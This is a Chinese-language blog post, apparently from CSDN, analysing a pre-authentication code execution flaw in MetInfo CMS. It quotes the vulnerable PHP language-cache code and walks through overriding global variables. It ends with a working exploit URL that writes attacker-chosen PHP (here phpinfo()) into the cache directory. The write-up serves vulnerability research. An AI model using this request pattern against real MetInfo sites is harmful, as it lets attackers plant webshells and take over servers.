php.ini 米拓_MetInfo 无需登录前台直接GETSHELL

这篇博客探讨了MetInfo CMS中一个由于权限检查不足导致的安全漏洞,该漏洞允许攻击者通过设置特定的`langset`参数,绕过限制并执行任意PHP代码。文章详细分析了漏洞的成因,涉及的文件包括`admin/include/common.inc.php`和`admin/include/lang.php`,并展示了如何利用此漏洞在`cache`目录下创建包含恶意PHP代码的文件。
摘要由CSDN通过智能技术生成

metinfo整体做的还算不错,但是一个小疏忽,越权导致大漏洞代码如下:admin/include/common.inc.php 由于之前在最外围进行了一次参数解析,所以这里可以通过全量覆盖过来先不说这里,一会儿用得上,我们看一下admin/include/lang.php:

if($_GET[langset]!="" and $met_admin_type_ok==1){

$languser = $_GET[langset];

}

$langset=($languser!="")?$languser:$met_admin_type;if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){

$js="var user_msg = new Array();\n";

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result= $db->query($query);if($db->affected_rows()==0){

require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';

$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');

$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';

$re=syn_lang($post,$file_basicname,$langset,1,0);

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result= $db->query($query);

}

while($listlang= $db->fetch_array($result)){

if(substr($listlang['name'],0,2)=='js'){

$tmp=trim($listlang['value']);

$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";

}

$name = 'lang_'.$listlang['name'];

$$name= trim($listlang['value']);

$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";

}

//echo $str;

$js1='$'."js='".str_replace("'","\\'",$js).'\';';

$str="<?php \n".$str.$js1."\n?>";

file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);

}else{

require_once ROOTPATH.'cache/langadmin_'.$langset.'.php';

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30if($_GET[langset]!=""and$met_admin_type_ok==1){

$languser=$_GET[langset];

}

$langset=($languser!="")?$languser:$met_admin_type;if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){

$js="var user_msg = new Array();\n";

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result=$db->query($query);if($db->affected_rows()==0){

require_onceROOTPATH_ADMIN.'system/lang/lang.func.php';

$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');

$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';

$re=syn_lang($post,$file_basicname,$langset,1,0);

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result=$db->query($query);

}

while($listlang=$db->fetch_array($result)){

if(substr($listlang['name'],0,2)=='js'){

$tmp=trim($listlang['value']);

$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";

}

$name='lang_'.$listlang['name'];

$$name=trim($listlang['value']);

$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";

}

//echo $str;

$js1='$'."js='".str_replace("'","\\'",$js).'\';';

$str="<?php \n".$str.$js1."\n?>";

file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);

}else{

require_onceROOTPATH.'cache/langadmin_'.$langset.'.php';

}

第一步:if($_GET[langset]!="" and $met_admin_type_ok==1){$languser = $_GET[langset];}这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser怎么能让这一句成立!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')第一我们得定义ROOTPATH第二我们知道,php一个全版本的小bugfile_put_contents("d:/a.php/../a.php")这种是不会报错的但是对于langset 他有限制条件,我们怎么逾越这个条件此时猜想,若果有一个地方也越权,并且include了lang.phpcommon.inc.php:

if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');

if($_GET[langset]!=''){

$_GET[langset]=daddslashes($_GET[langset],0,1);

change_met_cookie('languser',$_GET[langset]);

save_met_cookie();

}

$_M['user']['cookie'] = $met_cookie;

$metinfo_admin_name = get_met_cookie('metinfo_admin_name');

$metinfo_admin_pass = get_met_cookie('metinfo_admin_pass');

$metinfo_admin_pop = get_met_cookie('metinfo_admin_pop');

$metinfo_admin_shortcut = get_met_cookie('metinfo_admin_shortcut');

$languser = get_met_cookie('languser');

$langadminok = get_met_cookie('metinfo_admin_lang');

$langusenow=$languser;

if($langadminok<>"" and $langadminok<>'metinfo')$adminlang=explode('-',$langadminok);

require_once ROOTPATH_ADMIN.'include/lang.php';

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');

if($_GET[langset]!=''){

$_GET[langset]=daddslashes($_GET[langset],0,1);

change_met_cookie('languser',$_GET[langset]);

save_met_cookie();

}

$_M['user']['cookie']=$met_cookie;

$metinfo_admin_name=get_met_cookie('metinfo_admin_name');

$metinfo_admin_pass=get_met_cookie('metinfo_admin_pass');

$metinfo_admin_pop=get_met_cookie('metinfo_admin_pop');

$metinfo_admin_shortcut=get_met_cookie('metinfo_admin_shortcut');

$languser=get_met_cookie('languser');

$langadminok=get_met_cookie('metinfo_admin_lang');

$langusenow=$languser;

if($langadminok<>""and$langadminok<>'metinfo')$adminlang=explode('-',$langadminok);

require_onceROOTPATH_ADMIN.'include/lang.php';

发现了在此处引入,下来我们看if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');如果met_langadmin参与运算的结果是个数组,这时候langset 就完全可控制后面走到了lang.php:1.!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php') 此处要是个空文件2.$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";$result= $db->query($query);这个查询为空,langset经过构造后 这个肯定是个空3.$js1='$'."js='".str_replace("'","\\'",$js).'\';';$str="<?php \n".$str.$js1."\n?>";file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);发现$str 就可以没有任何给它初始化,直接全局覆盖过来即可发送url:http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f直接就会在cache目录下创建一个文件langadmin_123.php内容为:<?phpphpinfo ();?>//$js='var user_msg = new Array();';?>访问以下

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值